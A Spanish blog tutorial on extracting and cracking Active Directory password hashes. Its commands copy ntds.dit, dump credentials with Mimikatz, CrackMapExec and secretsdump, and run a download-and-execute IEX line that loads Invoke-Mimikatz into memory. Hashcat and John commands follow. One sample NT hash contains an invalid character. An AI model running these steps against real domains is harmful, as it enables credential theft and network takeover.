Antes de empezar con la parte práctica de
password cracking en sistemas Windows, es recomendable un breve resumen sobre las diferencias entre los tipos de hashes de contraseñas
(LM, NTHash o NTLM, NTLMv1, NTLMv2) que almacena Windows en su base de datos local
SAM (Security Account Manager) o
NTDS.DIT (NT Directory Services) si se trata de controladores de dominio de
Active Directory.
Existen dos medios de los cuales se puede realizar la extracción de hashes:
- Desde un volcado de memoria en caliente. Por ejemplo Mimikatz, Hot Potato o CrackMapExec (con el parámetro --lsa). Este método no es válido a partir de Windows Server 2016 ya que se implementa la característica de Credential Guard basada en virtualización para LSASS. Sin embargo sigue siendo válido para versiones clientes hasta la actual Windows 10.
- Desde un volcado de un fichero de disco como son: La base de datos SAM (%systemroot%\system32\config) en Windows de forma local como NTDS.dit (%systemroot%\NTDS) en el caso de un controlador de dominio de Active Directory, como veremos en esta entrada.
LM Hash (Lan Manager)
Usado en sistemas Windows 2000/2003 aunque por retrocompatiblidad pueden ser usados en versiones posteriores de Windows. LM es débil e inseguro por diseño, teniendo en cuenta la velocidad de computo de los sistemas actuales, son capaces de probar cientos de miles de contraseñas por segundo por lo que su cifrado lo hace totalmente vulnerable en ataques de fuerza bruta.
Su algoritmo convierte todo de minúsculas a mayúsculas (uppercase) haciendo así un ataque enfocado a este tipo de caracteres, reduciendo las posibles combinaciones y el tiempo de cálculo.
Si la contraseña es inferior a 7 caracteres se rellena con caracteres NULOS. Y las contraseñas no pueden ser superiores a 14 caracteres.
Si la contraseña tiene más de 7 caracteres se divide en dos bloques, en el supuesto de utilizar una contraseña de 10 caracteres el ataque de fuerza bruta se realizará para un primer bloque de 7 y otro para un segundo bloque de 3 caracteres restantes, ambos bloques tienen el mismo espacio y en el caso del segundo, ya sea 1 solo caracter o 7 ocuparía el mismo espacio del hash. Si se utilizara una contraseña de 14 caracteres en vez de elevar exponencialmente el tiempo de ataque, simplemente se tardaría el doble de tiempo, por lo que daría igual usar una contraseña con una de 7 caracteres como una de 14 que sería la longitud máxima soportada para el almacenamiento de hashes LM.
Ejemplo de LM Hash: <35ABD1B8C5128FC8><6ABCF57855D56AC9>. Sin los signos <>. Simplemente se representó así para mostrar lo que sería un primer y segundo bloque del hash LM.
Más información sobre LM Hash (Lan Manager):
NT Hash o NTLM (New Technology Lan Manager)
A partir de sistemas Windows 2008/Vista se usa por defecto NTLM (aunque por compatibilidad se puede seguir haciendo uso de LM).
NTLM Es la mejora de cifrado respecto a LM. NTLM diferencia entre mayúsculas y minúsculas, calcula el hash cifrando con el estándar MD4. Pero por defecto sigue almacenando las contraseñas cifradas en LM y NTLM en la misma base de datos del fichero SAM que se encuentra en el path "
C:\Windows\System32\config\SAM".
- Almacenamiento sin salt (igual que LM).
- Contraseñas más de 14 caracteres.
- Crackeables: RT Rainbow Tables (no salt) y BF Brute Force en función del tamaño (más de 5 caracteres RT). Ophcrack (distro Linux) mediante RT.
Ejemplo de NT Hash (NTLM): 4B6A9B02C6F09P9BD265F388BA951E2B
Opciones de ejecución de código remoto
Hay varias formas diferentes de ejecutar comandos de forma remota en un controlador de dominio, suponiendo que se ejecuten con los derechos adecuados. Los métodos de ejecución remota más fiables incluyen PowerShell (aprovecha WinRM) o WMI.
WMI
wmic /node:COMPUTER/user:DOMAIN\USER /password:PASSWORD process call create "COMMAND"
PowerShell (WMI)
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList $COMMAND -ComputerName $COMPUTER -Credential $CRED
WinRM
winrs -r:COMPUTER COMMAND
PowerShell Remoto
Invoke-Command -computername $COMPUTER -command {$COMMAND}
New-PSSession -Name PSCOMPUTER -ComputerName $COMPUTER; Enter-PSSession -Name PSCOMPUTER
1. Extraer los ficheros ntds.dit y SYSTEM de un controlador de dominio
Después de una post-explotación, conseguir acceso a un sistema y una escalada de privilegios. Podemos realizar un dump de los hashes NTLM a partir del fichero ntds.dit. Este fichero es la base datos encargada de almacenar los hashes de las contraseñas de usuarios de Active Directory.
El primer paso para la extracción de hashes de contraseñas de usuarios de Active Directoy, es obtener una copia del archivo ntds.dit. El problema es que no podemos copiar este fichero sin más, ya que está constantemente en uso y bloqueado por AD.
 |
| Figura 1: Error al copiar el archivo en uso ntds.dit de un controlador de dominio. |
Para volcar y/o copiar el fichero ntds.dit podemos usar cualquiera de estos métodos.
- Servicio VSS: Volume Shadow Copies a través del comando VSSAdmin.
- IFM (Install From Media) de NTDSUTIL.
- Invoke-NinjaCopy - módulo PowerSploit.
- Mimikatz lsa y dcsyn (volcado de memoria de credenciales, no copia ficheros).
- Invoke-Mimikatz - módulo PowerSploit (volcado de memoria de credenciales, no copia ficheros).
- CrackMapExec.
Método 1: Servicio VSS - Volume Shadow Copy: Usando el comando VSSAdmin
El servicio
VSS (Volume Shadow Copy) o servicio de instantáneas de volumen de Windows es el encargado de crear backups a modo de instantáneas temporales. Se puede usar el comando
vssadmin para la gestión de este servicio de instantáneas. De modo que después se puedan copiar de un volumen de instantánea en el que no estará constantemente en uso por AD.
Crear un volumen de instantánea del disco C:
vssadmin create shadow /for=C:
copy <Nombre_Volumen_Instantanea>\Windows\System32\config\SYSTEM C:\export\SYSTEM
copy <Nombre_Volumen_Instantanea>\Windows\NTDS\ntds.dit C:\export\ntds.dit
Eliminar el volumen de la instantánea del disco C:
vssadmin list shadows
vssadmin delete shadows /shadow={Id_Instantanea}
 |
| Figura 2: Copiar los ficheros en uso ntds.dit y SYSTEM con VSSAdmin de un controlador de dominio. |
Método 2: IFM (Install From Media) de NTDSUTIL
El método
IFM (Install From Media) usa los datos en los medios de instalación para instalar AD DS, lo que elimina la necesidad de replicar todos los objetos de un controlador de dominio asociado.
NTDSUtil es la utilidad de comandos para trabajar de forma nativa con la BD de AD (ntds.dit) y permite la creación de conjuntos IFM para
DCPromo. IFM se utiliza con DCPromo para "Instalar desde los medios", de modo que el servidor que se promueve no necesita copiar los datos del dominio a través de la red desde otro DC.
Al crear un IFM, se toma una instantánea de VSS, se monta y el archivo ntds.dit y los datos asociados se copian en la carpeta de destino (c:\temp).
ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q
 |
| Figura 3: Usando IFM de ntdsutil para exportar ntds.dit y SYSTEM de un controlador de dominio. |
Método 3: Invoke-NinjaCopy - módulo PowerSploit
Otra forma de copiar archivos en uso por el sistema o en este caso Active Directory es usar el cmdlet
Invoke-NinjaCopy incluido en el módulo
PowerSploit, este copia un archivo de un volumen NTFS sin procesar, es otra ofrma de copiar archivos bloqueados por Active Directory sin alertar a ningún sistema de monitoreo.
Instalar el módulo PowerSploit:
- Descargamos el módulo
- Copiamos el directorio en una de las rutas por defecto donde se almacenan los módulos de PowerShell. Podemos consultar los paths listando la variable de entorno: $Env:PSModulePath.
- Importamos el módulo: Import-Module PowerSploit.
- Para obtener todos los cmdlets disponibles: Get-Command -Module PowerSploit.
Invoke-NinjaCopy -path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination C:\export\ntds\ntds.dit
 |
| Figura 4: Copiar el fichero ntds.dit con Invoke-NinjaCopy de un controlador de dominio. |
Método 4: Mimikatz lsa y dcsync (solo volcado de memoria de los hashes de credenciales)
Este método no realiza un copia de los ficheros ndts.dit y SYSTEM. Solamente realiza un volcado de memoria si alguno de los usuarios a iniciado sesión en el equipo o controlador de dominio.
Usando LSASS (Local Security Authority Subsystem Service):
mimikatz lsadump::lsa /inject exit
 |
| Figura 5: Mimikatz - Volcado de memoria usando lsass. |
Usando dcsync:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
 |
| Figura 6: Mimikatz - Volcado de memoria de un usuario usando dcsync. |
Método 5: Invoke-Mimikatz - módulo PowerSploit (solo volcado de memoria de los hashes de credenciales)
Invoke-Mimikatz es un componente de
PowerSploit. Aprovecha Mimikatz 2.0 e
Invoke-ReflectivePEInjection para cargar reflexivamente la DLL de Mimikatz (incluida en el script) en la memoria. Esto permite volcar credenciales sin tener que escribir el binario de Mimikatz en el disco.
Descargar e importar la función en memoria de la instancia actual de PowerShell.
IEX (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1' -UseBasicParsing).Content
Ejecutar Invoke-Mimikatz usando LSASS.
Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject" exit'
Ejecutar en un equipo remota (PowerShell remoto debe estar permitido y configurado):
Invoke-Mimikatz -Command '"privilege::debug" "LSADump:LSA /inject"' -Computer DC01.domain.local
Método 6: CrackMapExec
Otra alternativa es hacer uso de
CrackMapExec. En este caso debemos tener las credenciales de una cuenta privilegiada local o de dominio sobre el DC. Dependiendo del parámetro que indiquemos disponemos de varias opciones de volcado de hashes ya sea una lectura en memoria o copiando el contenido del fichero ntds.dit a una máquina remota que en este caso será una Kali.
El parámetro que nos interesa sería a nivel de dominio sería el --ntds que se muestra en el figura 6. Pero mostraré las alternativas para un uso local como el volcado de la
SAM (Security Account Manager).
- Obteniendo hashes desde un volcado de memoria leyendo lsass.exe (parámetro --lsa).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --lsa
 |
Figura 7: Volcado de memoria con CrackMapExec --lsa.
|
- Obteniendo la base de datos local SAM (parámetro --sam).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --sam
 |
| Figura 8: Volcando de memoria con CrackMapExec --sam. |
- Obteniendo los hashes de todas las cuentas de dominio Active Directory desde el fichero ntds.dit (parámetro --ntds).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --ntds
 |
Figura 9: Volcado del fichero ntds.dit de un controlador de dominio.
|
2. Volcado de hashes NTLM del fichero ntds.dit
Podemos volcar los hashes NTLM del fichero ntds.dit de dos formas:
Método 1: Módulo DSInternals - Usando los cmdlets Get-BootKey y Get-ADDBAccount
Install-Module -Name DSInternals -Force
Import-Module -Name DSInternals
Import-Module -Name ActiveDirectory
Get-BootKey lee la clave de registro de Windows del sistema de arranque SYSTEM del registro de Windows "HKEY_LOCAL_MACHINE\SYSTEM" o también puede hacerse referenciando el propio fichero SYSTEM "%systemroot%\System32\config\SYSTEM".
Podemos exportar la clave de registro o copiar el fichero SYSTEM a un directorio en el que no esté en uso con alguna de las técnicas mencionadas anteriormente en el apartado 1.
Para poder volcar los hashes NTLM de los usuarios de AD y leerlos en plain-text del fichero ntds.dit. Obtenemos la clave de registro SYSTEM con Get-BootKey y se la pasamos con el parámetro -BooKey en Get-ADDBAccount.
reg save hklm\system C:\export\system
$key = Get-BootKey -SystemHiveFilePath C:\export\system
Get-ADDBAccount -All -BootKey $key -DBPath C:\export\ntds.dit
Es probable que al intentar leer el fichero ntds.dit se muestre el error
"The database is not in a clean state". Hacemos uso de la utilidad de comandos
esentutl para reparar la base de datos de Active Directory.
esentutl /p C:\export\ntds.dit /!10240 /8 /o
A continuación volvemos a ejecutar Get-ADDBAccount.
 |
| Figura 10: Get-ADDBAccount - Obtener información de las cuentas de usuarios de AD. |
Podemos simplificar la información de salida de las cuentas de usuarios de AD redireccionándola a un fichero y obtener los hashes de contraseñas asociados a los nombres de las cuentas de AD que se corresponde al atributo -SamAccountName-.
Get-ADDBAccount -All -BootKey $key -DBPath C:\export\ntds.dit > C:\export\hashes_tmp.txt
Select-String -Path C:\export\hashes_tmp.txt -Pattern '(NTHash)|(SamAccountName:)' > C:\export\hashes.txt
Remove-Item C:\export\hashes_tmp.txt
 |
| Figura 11: Recopilación de hashes NTLM del fichero ntds.dit de las cuentas de usuarios de AD. |
Método 2: Kali - Impacket-secretsdump (script en Python -secretsdump.py-)
Otra forma de realizar el volcado de hashes NTLM del fichero ntds.dit es usar un script en Python llamado
secretsdump.py. Este se integra en uno de los módulos auxiliary de escaneo Impacket-secretsdump de
Metasploit.
En este caso al usar el fichero de ntds.dit de forma local ejecutamos Impacket-secretsdump desde el path "/usr/share/impacket" en una terminal de
Kali.
impacket-secretsdump -system /root/hashes/SYSTEM -ntds /root/hashes/ntds.dit LOCAL -outputfile /root/hashes/hashes.txt
 |
| Figura 12: Volcado de hashes NTLM del fichero ntds.dit con Impacket-secretsdump. |
Método 3: Nishang Framework - Get-PassHashes.ps1 (script en PowerShell)
Nishang es un framework muy potente para PowerShell que contiene multitud de scripts para escaneo, gathering, escalada de privilegios, pivoting, etc.
 |
| Figura 13: Nishang Framework - Volcado de hashes NTLM con Get-PassHashes.ps1. |
3. Cracking con Hashcat y John The Ripper: Descifrado de hashes NTLM para obtener las contraseñas de usuarios de AD
Podemos descifrar hashes utilizando tres posibles técnicas.
- Ataque por fuerza bruta (Brute-force attack).
- Ataque por diccionarios o Wordlist.
- Ataque por Rainbow tables.
Hashcat
En este caso como prueba de concepto se empleará un ataque por diccionario usando la herramienta
Hashcat. Integrada en Kali (/usr/bin/hashcat).
Una vez redireccionamos la salida de los hashes a un fichero solamente quedaría descifrar dichos hashes para obtener el valor de cadena en plain-text de las contraseñas de cuentas de usuarios de AD.
hashcat -m 1000 /root/hashes/hashes.txt /root/breachcompilation.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --force
Donde "breachcompilation.txt" es el diccionario -fichero que contiene el wordlist- e "InsidePro-PasswordsPro.rule" será el tipo de regla utilizada para el proceso de password cracking.
En la siguiente captura vemos como se muestra el
hash:contraseña. De esta manera podemos relacionar el hash con el usuario al que se corresponde a través del fichero que se creo en el apartado 2 donde se mostraba el volcado de hashes NTLM.
La estructura estándar sería al como:
<Nombre de usuario>:<ID de usuario>:<LM hash>:<NT hash>:<Comment>:<Home Dir>:
 |
| Figura 14: Ataque por diccionario con Hashcat - Password cracking de hashes NTLM de Active Directory. |
John The Ripper
Otra opción es realizar el ataque por fuerza bruta o por diccionario con la herramienta
John The Ripper. Integrada en Kali (/usr/sbin/john).
Obtener la lista de los formatos disponibles.
john --list=formats
Siguiendo el ejemplo anterior usado en Hashcat. Para un tipo de formato de hashes NTLM (--format=NT) usando un diccionario.
john --format=NT /root/hashes/hashes.txt --wordlist=/root/breachcompilation.txt --rules
Si se descifran contraseñas, se almacenan en $JOHN/john.pot. El archivo john.pot no es leído en un formato en claro. Para leer este fichero se debe usar el parámetro --show seguido del fichero donde están almacenados los hashes.
john --show --format=NT /root/hashes/hashes.txt
 |
| Figura 15: Ataque por diccionario con John The Ripper - Password cracking de hashes NTLM de Active Directory. |
Podemos seguir el avance a tiempo real del proceso de cracking consultando el fichero $JOHN/john.log.
tail -f .john/john.log
 |
| Figura 16: Consultar el log de John para ver a tiempo real el proceso de cracking. |
4. Hash cracking Online: Comprobar si los hashes NTLM ya son conocidos en bases de datos de Internet
Otra forma de realizar el cracking de passwords una vez conocemos los hashes NTLM. Sería consultar a través de varios sitios web disponibles en internet si el hash que tienen en las wordlist de estas webs hace match con el que se le referencia, si así directamente nos dará como resultado la cadena de password encontrada.
Existen multitud de webs para realizar estas comprobaciones como por ejemplo:
 |
| Figura 17: Descifrar hashes NTLM comparándolos con hashes ya conocidos en sitios webs. |
5. Comprueba si ya existe el hash de tu contraseña antes de usarla
Un motivo a tener en cuenta en el momento de crear contraseñas, es comprobar si el hash de la contraseña que utilizamos o vamos utilizar ya es conocido y está público en internet. Si ya existe en alguna wordlist de los sitios webs comentados en el apartado 4. Obviamente podemos realizar esta comprobación en más sitios, las webs anteriores solo fueron un ejemplo.
Algo que nos puede dar un poco más de confianza en la fortificación de nuestras passwords, sería comprobarlas previamente generando el hash NTLM a partir de tu contraseña. Lógicamente es un pequeño extra de seguridad, no lo hace ni mucho menos más seguro. Simplemente demorarías el tiempo de un ataque por diccionario a un atacante y la facilidad de obtener una contraseña.
Algunas webs que podemos usar para la generación de hashes NTLM:
 |
| Figura 18: Generar hashes NTLM a partir de una contraseña. |
Saludos!
